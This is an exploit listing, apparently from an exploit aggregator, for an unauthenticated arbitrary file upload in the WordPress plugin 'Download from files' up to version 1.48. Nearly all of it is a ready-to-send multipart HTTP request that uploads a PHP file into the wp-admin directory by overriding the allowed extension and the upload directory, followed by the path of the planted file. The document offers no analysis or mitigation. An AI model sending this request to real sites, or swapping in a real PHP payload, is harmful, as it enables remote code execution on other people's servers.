Exploit for Download from files <= 1.48 - Unauthenticated Arbitrary File Upload

## https://sploitus.com/exploit?id=WPEX-ID:8DEFC276-C5B0-447E-87D4-01C285051A6E
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------54331109111293931601238262353
Content-Length: 734
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="action"

download_from_files_617_fileupload
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="files[]"; filename="a.php4"
Content-Type: text/php

<?php echo 'Failed'; ?>
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="allowExt"

php4
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="filesName"

files
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="uploadDir"

.
-----------------------------54331109111293931601238262353--


The file will be at https://example.com/wp-admin/a.php4